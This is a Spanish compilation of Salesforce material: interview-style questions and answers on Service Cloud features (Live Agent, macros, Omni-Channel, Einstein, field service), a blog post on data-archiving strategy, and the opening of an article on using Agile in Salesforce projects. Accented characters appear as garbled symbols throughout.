Imag铆nese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parec铆a confundido. As铆 es Live Agent en el mundo online. Es una caracter铆stica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras est谩n en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. 驴Cu谩les son los beneficios de utilizar el chat para atenci贸n al cliente?

Los clientes obtienen atenci贸n instant谩nea y sus preguntas pueden responderse de inmediato. Adem谩s, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes l铆neas de pago.

3. 驴Se pueden automatizar las respuestas en Live Agent?

S铆, si alguien dice "hola", el sistema puede decir autom谩ticamente "隆Hola!". 驴C贸mo puedo ayudarte hoy?" Est谩 programado para reconocer palabras o preguntas espec铆ficas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarr谩pidas a preguntas comunes.

4. 驴C贸mo maneja Salesforce los mensajes SMS para el servicio de atenci贸n al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajer铆a SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones r谩pidas o incluso responder preguntas, todo a trav茅s de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversaci贸n.

Integraci贸n de correo electr贸nico

1. 驴C贸mo se utiliza el correo electr贸nico en Service Cloud?

No se trata s贸lo de enviar y recibir correos electr贸nicos; es un sistema completo que gestiona las comunicaciones por correo electr贸nico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qu茅 se dijo y cu谩ndo.

2. 驴Puedes automatizar las respuestas por correo electr贸nico?

– 隆Absolutamente! Seg煤n ciertas palabras clave en el correo electr贸nico del cliente o criterios espec铆ficos, el sistema puede enviar una respuesta escrita previamente. Es instant谩neo, por lo que los clientes no tienen que esperar y les da a los agentes reales m谩s tiempo para manejar los problemas complejos que necesitan un toque humano.

3. 驴C贸mo se asegura de que los correos electr贸nicos de los clientes se env铆en a los agentes adecuados?

Utilice el enrutamiento de correo electr贸nico en Service Cloud. Usando las reglas que usted configura, los correos electr贸nicos se pueden dirigir a ciertos agentes seg煤n el contenido del correo electr贸nico, la informaci贸n del cliente o incluso la carga de trabajo de cada agente.

Soporte M贸vil

1. 驴C贸mo respalda Salesforce el servicio al cliente m贸vil?

Con la aplicaci贸n m贸vil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su tel茅fono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. 驴Cu谩les son las limitaciones del servicio al cliente m贸vil en Salesforce?

Dibujos animados y c贸mics de Parking Boot - im谩genes divertidas de CartoonStock

Si bien la aplicaci贸n m贸vil Salesforce es s煤per poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar dif铆ciles de navegar en una pantalla m谩s peque帽a y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

M茅tricas y an谩lisis de rendimiento

1. 驴C贸mo se mide la satisfacci贸n del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que est茅n satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos autom谩ticamente despu茅s de que se resuelva un caso. Es como preguntar: "驴Qu茅 le pareci贸 nuestro servicio?" 隆para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. 驴Qu茅 es una puntuaci贸n de satisfacci贸n del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuaci贸n que los clientes otorgan en funci贸n de su satisfacci贸n con una interacci贸n espec铆fica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuaci贸n, mejor trabajo hizo para cumplir (隆o superar!) sus expectativas.

3. 驴Qu茅 es Net Promoter Score (NPS) y c贸mo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "驴Recomendar铆a nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata s贸lo de un plato de sopa; 隆Lo importante es si toda la experiencia gastron贸mica les hace querer cont谩rselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuaci贸n a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. 驴Se pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quiz谩s ya est茅 utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, re煤ne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. 驴Qu茅 es Salesforce Einstein y c贸mo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. 驴C贸mo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atenci贸n al cliente, como responder preguntas comunes o guiar a un usuario a trav茅s de un proceso establecido.

3. 驴Puede Einstein sugerir respuestas a los agentes?

Es como un manual din谩mico e inteligente que no s贸lo tiene todas las respuestas sino que tambi茅n sabe exactamente cu谩ndo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o soluci贸n, acelerando el servicio y asegur谩ndose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. 驴Qu茅 es Field Service Lightning?

Vector libre | Banner de cami贸n de comida de estilo de dibujos animados

Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos s煤per organizado que sabe qu茅 cami贸n de comida est谩 d贸nde, qu茅 sirven, qui茅n est谩 disponible para servir delicias y qui茅n se toma un descanso. 隆Se trata de administrar su equipo sobre la marcha, asegur谩ndose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desaf铆o "culinario" (problema del cliente) que encuentren en el campo!

2.驴C贸mo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda informaci贸n en tiempo real hacia y desde las unidades m贸viles (FSL), para que todos sepan lo que sucede a su alrededor.

3. 驴Puede programar y enviar agentes de servicio de campo utilizando Salesforce?

隆Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que est茅n listos para mejorar sus especialidades seg煤n sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional f谩cil de recordar. 隆Imag铆nate que estamos charlando en tu cafeter铆a favorita!

macros

1.驴Qu茅 es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "隆Oye, ya tengo esto!". 隆Y listo!

2. 驴Todos pueden usar mis Macros?

Si los mantiene p煤blicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guard谩rsela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. 驴Pueden las macros interactuar con aplicaciones de terceros en Salesforce?

鈥 Directamente, no. Las macros est谩n dise帽adas para automatizar las funcionalidades est谩ndar de Salesforce.

4. 驴Es posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un bot贸n "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. 驴Se pueden programar las macros para que se ejecuten a una hora espec铆fica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador autom谩tico.

6. 驴Qu茅 tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. 驴C贸mo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. 驴Se puede modificar una macro activa? 驴Hay que tomar alguna precauci贸n?

S铆, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. 驴Es posible asignar Macros espec铆ficas a usuarios o perfiles espec铆ficos?

Si bien no puede asignar una macro directamente a usuarios espec铆ficos, puede controlar el acceso utilizando las carpetas de macros y la configuraci贸n de uso compartido de Salesforce.

10. 驴C贸mo se relacionan las macros con la API de Salesforce?

Las macros no interact煤an directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. 驴Se pueden utilizar las macros junto con Salesforce Flows?

Las macros y los flujos tienen diferentes prop贸sitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. 驴C贸mo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecuci贸n, se detiene y se muestra un mensaje de error.

13. 驴Pueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. 驴Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditor铆a est谩ndar de Salesforce para ver los cambios en los registros.

15. 驴Cu谩l es el papel de las instrucciones macro en el proceso de creaci贸n?

Las instrucciones macro son el coraz贸n de la macro y dictan qu茅 acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. 驴Puedes usar macros para enviar correos electr贸nicos con archivos adjuntos?

No, las macros pueden automatizar el proceso de env铆o de un correo electr贸nico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. 驴Puedes explicar qu茅 es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una caracter铆stica de Salesforce que permite la gesti贸n de elementos de trabajo entrantes desde diferentes canales de comunicaci贸n. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en funci贸n de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: 驴C贸mo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. 驴Cu谩l es la diferencia entre OmniCanal y distribuci贸n del trabajo tradicional?

La distribuci贸n tradicional del trabajo a menudo implica una asignaci贸n manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige autom谩ticamente el trabajo a los agentes m谩s adecuados seg煤n criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea m谩s r谩pido y eficiente.

4. 驴Puede explicar el 鈥淓stado de presencia鈥 en OmniCanal?

鈥淓stado de presencia鈥 se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si est谩n disponibles, ocupados o ausentes, y OmniCanal utiliza esta informaci贸n para enrutarles el trabajo en consecuencia.

5. 驴C贸mo garantiza OmniCanal que los casos de alta prioridad se manejen r谩pidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan autom谩ticamente seg煤n estos niveles de prioridad. Los elementos de alta prioridad se env铆an al principio de la cola para que se atiendan m谩s r谩pido.

6. 驴Se puede integrar OmniCanal con otras funciones de Salesforce?

S铆, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atenci贸n al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. 驴C贸mo admite OmniCanal los diferentes canales de comunicaci贸n?

OmniCanal es vers谩til al admitir varios canales de comunicaci贸n como correo electr贸nico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a trav茅s de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. 驴Puede describir un escenario en el que el enrutamiento omnicanal podr铆a resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles seg煤n sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. 驴Cu谩les son los tipos de Omni Channel?

Basado en cola 鈫 Asignar agentes a la cola

Basado en habilidades 鈫 Asignar habilidades a los agentes

Enrutamiento externo 鈫 Configuraci贸n de enrutamiento de terceros

10. 驴C贸mo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atenci贸n.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. 驴C贸mo crear un Canal de Atenci贸n?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesi贸n SOS o objeto personalizado.

12. 驴C贸mo crear una configuraci贸n de enrutamiento?

Las configuraciones de enrutamiento determinan c贸mo se enrutan los elementos de trabajo a los agentes.

Util铆celos para priorizar la importancia relativa y el tama帽o de los elementos de trabajo de sus colas.

13. 驴Explicar los ajustes de configuraci贸n de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuraci贸n de enrutamiento se enrutan a los agentes. Los objetos en colas con un n煤mero menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina c贸mo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuraci贸n.

Tiempo de espera de empuje (segundos):

Establece un l铆mite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. 驴C贸mo dise帽ar铆a una soluci贸n para respaldar a un equipo de soporte multiling眉e que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multiling眉es mediante el uso de funciones como Translation Workbench, que le permite traducir objetos est谩ndar y personalizados, reglas de validaci贸n, etiquetas de campo y m谩s, a cualquiera de los idiomas admitidos.

Adem谩s, los art铆culos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar informaci贸n en varios idiomas.

Tambi茅n puede configurar OmniCanal para enrutar casos a los agentes adecuados seg煤n sus habilidades ling眉铆sticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacci贸n del cliente.

2. 驴Puede explicarme el proceso de dise帽o de una soluci贸n de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resoluci贸n oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurar谩 los procesos de derechos para especificar el cronograma para cada etapa de resoluci贸n del caso.
  3. Luego, usar铆a Milestones dentro de estos procesos para rastrear si los casos se est谩n resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usar铆an para escalar casos que est茅n en peligro de violar sus SLA. Estos se pueden configurar para escalar seg煤n la antig眉edad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse autom谩ticamente a agentes o supervisores con m谩s experiencia para recibir atenci贸n urgente.

3. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para un centro de llamadas a gran escala que necesita gestionar grandes vol煤menes de casos y llamadas?

鈥 Para los centros de llamadas de gran volumen, le conviene aprovechar la funci贸n OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados seg煤n su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integraci贸n de la telefon铆a mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la informaci贸n relevante del cliente al alcance de su mano.

4. 驴Cu谩l es su experiencia con la integraci贸n de aplicaciones de terceros en Service Cloud y c贸mo ha abordado la soluci贸n de problemas de integraci贸n en el pasado?

Mi enfoque implica primero garantizar que la aplicaci贸n de terceros tenga una documentaci贸n API s贸lida y cumpla con las mejores pr谩cticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integraci贸n, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si est谩n disponibles.

5. 驴C贸mo dise帽ar铆a una soluci贸n que utilice Service Cloud para rastrear la opini贸n del cliente e incorporar esa informaci贸n en los flujos de trabajo de gesti贸n de casos?

Service Cloud puede integrarse con herramientas que ofrecen an谩lisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electr贸nicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opini贸n se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. 驴Puede dar un ejemplo de c贸mo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aqu铆 se puede acceder a los art铆culos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. Tambi茅n se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementaci贸n de un chatbot a trav茅s de Einstein Bots tambi茅n puede desviar consultas rutinarias al proporcionar respuestas autom谩ticas a preguntas comunes.

7. 驴Has trabajado con Service Cloud Voice? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar el rendimiento del call center y la satisfacci贸n del cliente?

Service Cloud Voice integra la telefon铆a en Salesforce, brindando una vista unificada del cliente y transcripci贸n de llamadas en tiempo real. Esto permite a los agentes centrarse m谩s en el cliente que en tomar notas. La transcripci贸n en tiempo real, impulsada por Einstein, tambi茅n puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes m谩s nuevos. La conclusi贸n posterior a la llamada se acelera porque los datos de la llamada ya est谩n en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos hist贸ricos de llamadas brindan informaci贸n valiosa para el an谩lisis de la opini贸n del cliente y el desempe帽o de los agentes, lo que impacta positivamente la capacitaci贸n y la satisfacci贸n del cliente.

8. 驴C贸mo abordar铆a el dise帽o de una soluci贸n para una empresa que opera en varios pa铆ses con diferentes regulaciones de privacidad de datos?

鈥 El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones espec铆ficas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar qui茅n puede acceder a qu茅 datos.

9. 驴C贸mo ha abordado los problemas de escalabilidad y rendimiento al dise帽ar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gesti贸n del volumen de datos, el uso de las herramientas de optimizaci贸n del rendimiento integradas de Salesforce y la revisi贸n peri贸dica de la organizaci贸n para eliminar configuraciones y personalizaciones obsoletas.
  • Tambi茅n es importante dise帽ar con una mentalidad de 鈥渃lics, no c贸digo鈥 para minimizar el c贸digo personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
  • Cuando es necesario un c贸digo personalizado, es vital seguir las mejores pr谩cticas para la masificaci贸n y las consultas SOQL eficientes. Finalmente, el monitoreo a trav茅s del Optimizador, Health Check y otras herramientas de Salesforce puede ayudar a identificar y mitigar problemas de rendimiento de manera proactiva.

10. 驴C贸mo ha utilizado Service Cloud para mejorar la retenci贸n de clientes y reducir las tasas de abandono?

En Service Cloud, la retenci贸n de clientes se puede mejorar significativamente utilizando las s贸lidas funciones de servicio al cliente de la plataforma. Por ejemplo, aprovecho las capacidades de an谩lisis e informes de Service Cloud para realizar un seguimiento de las puntuaciones de satisfacci贸n del cliente e identificar problemas comunes que provocan la insatisfacci贸n del cliente. Al integrar los comentarios directamente en el sistema de gesti贸n de casos, los agentes pueden abordar las inquietudes de manera proactiva antes de que se intensifiquen, lo que impacta directamente en la satisfacci贸n y retenci贸n del cliente. Adem谩s, caracter铆sticas como la comunicaci贸n personalizada con el cliente, art铆culos de conocimiento para el autoservicio y la resoluci贸n eficiente de casos a trav茅s del enrutamiento y escalamiento automatizados de casos ayudan a mantener una experiencia positiva para el cliente, reduciendo as铆 la deserci贸n.

11. 驴Ha trabajado con la funcionalidad Live Agent de Service Cloud? 驴C贸mo ha utilizado esta tecnolog铆a para mejorar las experiencias de atenci贸n al cliente?

S铆, utilic茅 Live Agent dentro de Service Cloud para mejorar el soporte que reciben los clientes en tiempo real. Al integrar Live Agent, los clientes pueden chatear instant谩neamente con agentes de soporte, lo que reduce los tiempos de espera y mejora la satisfacci贸n general. Descubr铆 que incorporar el chat de Live Agent en sitios web y aplicaciones m贸viles donde los clientes son m谩s activos reduce significativamente la barrera para acceder al soporte.

12. 驴Puede describir c贸mo dise帽ar铆a una soluci贸n de Service Cloud que incorpore el enrutamiento automatizado de casos al agente apropiado seg煤n el problema del cliente y el conjunto de habilidades del agente?

Para lograr esto, aprovechar铆amos la funci贸n OmniCanal, que permite enrutar los casos seg煤n el conjunto de habilidades, la disponibilidad y la carga de trabajo del agente.

  1. Comenzar铆a por definir varios conjuntos de habilidades de agentes dentro del sistema y asociar铆a estas habilidades con los agentes correspondientes.
  2. Luego, establec铆a configuraciones de enrutamiento, donde los casos entrantes se eval煤an seg煤n criterios predefinidos relacionados con el problema del cliente y luego se los relaciona con un agente que posee el conjunto de habilidades requerido.

13. 驴C贸mo abordar铆a el dise帽o de una soluci贸n de Service Cloud que pueda manejar grandes vol煤menes de casos manteniendo tiempos de respuesta consistentes y niveles de satisfacci贸n del cliente?

  • Primero, implementar铆a reglas de asignaci贸n de casos para automatizar la distribuci贸n de casos a los agentes o colas correctos.
  • Luego, utilizar铆a la funci贸n de reglas de escalamiento de casos de Service Cloud para priorizar casos urgentes o de alto impacto.
  • Para mantener tiempos de respuesta constantes, se pueden utilizar funciones como reglas de respuesta autom谩tica para reconocer inmediatamente los env铆os de casos.
  • Adem谩s, integrar铆a una base de conocimientos integral para facilitar las opciones de autoservicio, reduciendo as铆 la carga de casos para los agentes.

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Archivando datos, 隆no tan r谩pido!

Archivando datos, 隆no tan r谩pido!

En el mundo actual basado en datos, las empresas generan una gran cantidad de datos, incluidos registros de clientes, historial de transacciones y m谩s. (No me hagas empezar con los LLM).

Gestionar estos datos de manera eficiente es clave para el buen funcionamiento de sus entornos de Salesforce, la capacidad de almacenamiento, el consumo de energ铆a y tambi茅n las regulaciones de retenci贸n de datos. Ah铆 es donde entra en juego el archivo de datos.

Como sabr谩s, paso un poco de tiempo todos los d铆as en la 'comunidad de respuestas'. As铆 es como (hace muchos a帽os) entr茅 en la comunidad Salesforce Trailblazer. As铆 que trato de pasar un poco de tiempo all铆 todos los d铆as. Y he visto algunas preguntas recientemente sobre este asunto. As铆 que pens茅 en ampliar el intercambio de conocimientos: escribamos este art铆culo, donde exploramos el archivo de datos y arrojamos luz sobre algunas consideraciones esenciales.

Antes de comenzar a archivar como si no hubiera un ma帽ana, esto es lo que debe analizar:

Elegir los registros adecuados para archivarlos
El primer paso para crear una estrategia de archivo de datos es determinar qu茅 registros deben archivarse. No es necesario archivar todos los datos; s贸lo se deben considerar aquellos que ya no se utilizan activamente pero que deben conservarse para fines hist贸ricos o de cumplimiento. Para los usuarios de Salesforce, esto podr铆a incluir contactos antiguos de clientes, oportunidades cerradas o casos obsoletos.

En la mayor铆a de los casos, los datos pueden simplemente eliminarse. 隆No seas acaparador! Y eliminar conduce a un menor uso de almacenamiento, menos procesamiento, menos riesgos potenciales de seguridad y gobernanza, menos consumo de energ铆a… 隆en definitiva, menos complicaciones!

隆Menos es m谩s!

Acceder a datos archivados
Si bien los datos archivados generalmente se almacenan fuera del entorno principal de Salesforce, es crucial considerar c贸mo y si estos registros ser谩n necesarios nuevamente .

  • Piense en la frecuencia con la que su equipo necesita acceder a datos archivados y
  • si deber铆a estar disponible f谩cilmente o si
  • puede permitirse un proceso de recuperaci贸n m谩s largo. Tambi茅n,
  • determinar si necesita ejecutar informes sobre datos archivados para an谩lisis hist贸ricos o
  • fines de cumplimiento.

Matando el mito: 隆En este hilo reciente se propuso utilizar un objeto personalizado! 隆No hagas esto, no tiene sentido! El uso de almacenamiento ser谩 el mismo si se trata de un objeto est谩ndar o personalizado (si no m谩s).

Definici贸n de per铆odos de retenci贸n
Los distintos tipos de datos pueden tener distintos requisitos de conservaci贸n. Por ejemplo, es posible que sea necesario conservar los registros financieros durante un per铆odo m谩s prolongado que las consultas de los clientes.

Comprenda los per铆odos de retenci贸n espec铆ficos para su industria y ubicaci贸n, y aseg煤rese de que su estrategia de archivo se alinee con estas regulaciones.

Cumplimiento de las regulaciones de la industria
A riesgo de repetirme: el cumplimiento de la normativa de conservaci贸n de datos es primordial. Investigue si existen regulaciones espec铆ficas aplicables a su industria y ubicaci贸n .

Por ejemplo, el Reglamento General de Protecci贸n de Datos (GDPR) de la Uni贸n Europea impone reglas estrictas sobre la retenci贸n y la privacidad de los datos.

Cumplir con estas normativas no es s贸lo un requisito legal sino tambi茅n una forma de generar confianza con sus clientes. Y le ahorra molestias y estr茅s en el futuro.

Soluciones de archivo existentes
Considere qu茅 soluciones de archivo ya existen en su organizaci贸n. Algunas empresas pueden tener un sistema de archivo dedicado que puede o no integrarse perfectamente con Salesforce, mientras que otras pueden depender de procesos manuales.

Es muy f谩cil distraerse con la proliferaci贸n de aplicaciones, no te dejes cegar por las cosas brillantes. Comprender su configuraci贸n actual puede ayudarle a tomar decisiones informadas sobre c贸mo mejorar su estrategia de archivo.

No te olvides del escenario del 鈥淩egreso鈥
A veces, los datos archivados no desaparecen para siempre. Piense en escenarios en los que podr铆a necesitar resucitar registros archivados, como un contacto de cliente previamente cerrado que regresa como un cliente potencial.

Aseg煤rese de que su sistema de archivo permita una f谩cil recuperaci贸n y reintegraci贸n cuando sea necesario. 隆Descubra qu茅 situaciones podr铆an ocurrir, con qu茅 frecuencia, cu谩nto volumen, etc., para que pueda dise帽ar el proceso bas谩ndose en decisiones informadas!

En conclusi贸n, el archivo de datos eficaz es un aspecto crucial de la gesti贸n de instancias de Salesforce. Al considerar cuidadosamente qu茅 registros archivar, c贸mo acceder a ellos, per铆odos de retenci贸n, regulaciones de cumplimiento, soluciones existentes y la posibilidad de que los datos "regresen", su organizaci贸n puede garantizar la integridad de los datos, el cumplimiento normativo y la capacidad de aprovechar los datos hist贸ricos. para necesidades futuras. 隆Tambi茅n aproveche el poder de ELIMINACI脫N!

驴Cu谩l es tu enfoque? 驴Qu茅 m谩s tiene en su lista al clasificar las solicitudes de archivo de datos?

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Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gesti贸n de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicaci贸n, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Seg煤n diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinaci贸n interfuncional se cit贸 a menudo como el factor de riesgo m谩s importante para el fracaso del proyecto CRM. Imagine la frustraci贸n de invertir tiempo y recursos en un proyecto de Salesforce s贸lo para verlo descarrilado por estrategias de gesti贸n inflexibles.

La metodolog铆a Agile ofrece una salida. En comparaci贸n, s贸lo el 9% de los proyectos 谩giles terminan en fracaso. Dise帽ado para la adaptabilidad y la colaboraci贸n, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a trav茅s del enfoque iterativo.

En este art铆culo, descubrir谩 c贸mo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodolog铆a de gesti贸n de proyectos en cascada versus 谩gil: descripci贸n general r谩pida

Waterfall es una metodolog铆a tradicional de gesti贸n de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodolog铆a Waterfall avanzan a trav茅s de fases predefinidas, desde la recopilaci贸n de requisitos hasta la implementaci贸n del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gesti贸n de proyectos en cascada de Inspire Planner en SalesforceGesti贸n de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodolog铆a Agile es un enfoque colaborativo para la gesti贸n de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteraci贸n r谩pida. En lugar de una progresi贸n lineal, los proyectos se dividen en tareas peque帽as y manejables llamadas "sprints" o "iteraciones", que son per铆odos cortos con un l铆mite de tiempo.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Si diferentes equipos de su organizaci贸n utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con 茅xito ambas metodolog铆as, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener 茅xito. La metodolog铆a 谩gil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

